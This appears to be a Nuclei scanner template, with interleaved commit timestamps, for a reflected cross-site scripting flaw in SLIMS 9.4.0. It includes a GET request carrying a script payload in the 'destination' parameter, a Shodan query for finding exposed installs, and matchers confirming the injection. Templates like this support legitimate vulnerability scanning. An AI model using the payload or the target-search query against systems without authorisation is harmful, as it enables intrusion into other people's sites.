2023-01-22 19:00:48 +00:00
id : slims-xss
info :
2023-01-23 07:38:09 +00:00
name : Senayan Library Management System v9.4.0(SLIMS 9) - Cross Site Scripting
2023-01-22 19:00:48 +00:00
author : arafatansari
severity : medium
description : |
SLIMS 9 was discovered to contain `destination` request parameter that copies the value of an HTML tag attribute which is encapsulated in double quotation marks.
reference :
- https://packetstormsecurity.com/files/170182/Senayan-Library-Management-System-9.4.0-Cross-Site-Scripting.html
metadata :
verified : "true"
2023-01-23 07:38:09 +00:00
shodan-query : http.html:"SLIMS"
2023-01-23 22:30:31 +00:00
tags : senayan,packetstorm,xss,slims
2023-01-22 19:00:48 +00:00
requests :
2023-01-23 07:38:09 +00:00
- method : GET
path :
- "{{BaseURL}}/index.php?_csrf_token_645a83a41868941e4692aa31e7235f2=6a50886006f02202a6dac5cfa07bcbfb1e2a6e84&destination=zbuip%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3Ejgoihbmmygljgoihbmmygl&logMeIn=Login&memberID=admin&memberPassWord=password&p=member"
2023-01-22 19:00:48 +00:00
matchers-condition : and
matchers :
2023-01-23 07:38:09 +00:00
- type : word
words :
- '<script>alert(document.domain)</script>'
- 'SLiMS'
condition : and
2023-01-22 19:00:48 +00:00
- type : word
2023-01-23 07:38:09 +00:00
part : header
2023-01-22 19:00:48 +00:00
words :
2023-01-23 07:38:09 +00:00
- "text/html"
- type : status
status :
- 200
